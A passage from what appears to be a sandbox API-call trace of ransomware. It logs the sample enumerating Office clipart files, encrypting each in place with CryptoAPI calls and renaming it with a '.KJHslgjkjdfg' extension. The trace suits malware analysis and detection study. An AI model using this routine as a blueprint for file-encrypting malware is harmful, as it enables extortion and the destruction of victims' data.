hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1550, lpOverlapped=0x0) returned 1 [0189.956] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.956] SetEndOfFile (hFile=0x114) returned 1 [0189.959] GetProcessHeap () returned 0x2a0000 [0189.959] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.959] GetProcessHeap () returned 0x2a0000 [0189.959] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.kjhslgjkjdfg")) returned 1 [0189.961] CloseHandle (hObject=0x114) returned 1 [0189.961] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf630100, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf630100, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1 [0189.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.963] GetProcessHeap () returned 0x2a0000 [0189.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.963] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.964] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.964] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.966] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.966] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.966] GetProcessHeap () returned 0x2a0000 [0189.966] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.966] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.966] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.966] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.966] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.967] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.967] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.967] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.967] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.967] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.967] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x878, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x878, lpOverlapped=0x0) returned 1 [0189.967] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x880, dwBufLen=0x880 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x880) returned 1 [0189.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.967] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x880, lpOverlapped=0x0) returned 1 [0189.968] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.968] SetEndOfFile (hFile=0x114) returned 1 [0189.970] GetProcessHeap () returned 0x2a0000 [0189.971] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.971] GetProcessHeap () returned 0x2a0000 [0189.971] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.kjhslgjkjdfg")) returned 1 [0189.973] CloseHandle (hObject=0x114) returned 1 [0189.973] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d2000, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96d2000, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00453_.WMF", cAlternateFileName="")) returned 1 [0189.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.974] GetProcessHeap () returned 0x2a0000 [0189.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.974] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.978] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.978] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.978] GetProcessHeap () returned 0x2a0000 [0189.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.978] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.978] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.978] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.978] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.978] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.978] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.978] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.978] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.978] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.979] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.979] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x59ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x59ec, lpOverlapped=0x0) returned 1 [0189.980] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x59f0, dwBufLen=0x59f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x59f0) returned 1 [0189.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.980] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x59f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x59f0, lpOverlapped=0x0) returned 1 [0189.980] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.981] SetEndOfFile (hFile=0x114) returned 1 [0189.984] GetProcessHeap () returned 0x2a0000 [0189.984] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.984] GetProcessHeap () returned 0x2a0000 [0189.984] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.kjhslgjkjdfg")) returned 1 [0189.986] CloseHandle (hObject=0x114) returned 1 [0189.986] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa04e1b00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa04e1b00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00454_.WMF", cAlternateFileName="")) returned 1 [0189.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.989] GetProcessHeap () returned 0x2a0000 [0189.990] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.990] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.990] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.992] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.992] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.992] GetProcessHeap () returned 0x2a0000 [0189.992] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.992] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.992] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.992] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.993] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.993] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.993] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.993] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.993] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.993] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.993] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb6c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb6c, lpOverlapped=0x0) returned 1 [0189.993] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb70, dwBufLen=0xb70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb70) returned 1 [0189.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.993] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb70, lpOverlapped=0x0) returned 1 [0189.994] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.994] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.994] SetEndOfFile (hFile=0x114) returned 1 [0189.996] GetProcessHeap () returned 0x2a0000 [0189.996] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.996] GetProcessHeap () returned 0x2a0000 [0189.997] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.kjhslgjkjdfg")) returned 1 [0190.005] CloseHandle (hObject=0x114) returned 1 [0190.005] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00466_.WMF", cAlternateFileName="")) returned 1 [0190.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.007] GetProcessHeap () returned 0x2a0000 [0190.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.007] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.007] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.007] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.009] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.010] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.010] GetProcessHeap () returned 0x2a0000 [0190.010] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.010] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.010] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.010] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.010] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.011] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xac8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xac8, lpOverlapped=0x0) returned 1 [0190.011] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xad0, dwBufLen=0xad0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xad0) returned 1 [0190.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.011] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xad0, lpOverlapped=0x0) returned 1 [0190.011] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.011] SetEndOfFile (hFile=0x114) returned 1 [0190.014] GetProcessHeap () returned 0x2a0000 [0190.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.014] GetProcessHeap () returned 0x2a0000 [0190.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.kjhslgjkjdfg")) returned 1 [0190.016] CloseHandle (hObject=0x114) returned 1 [0190.016] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78be2200, 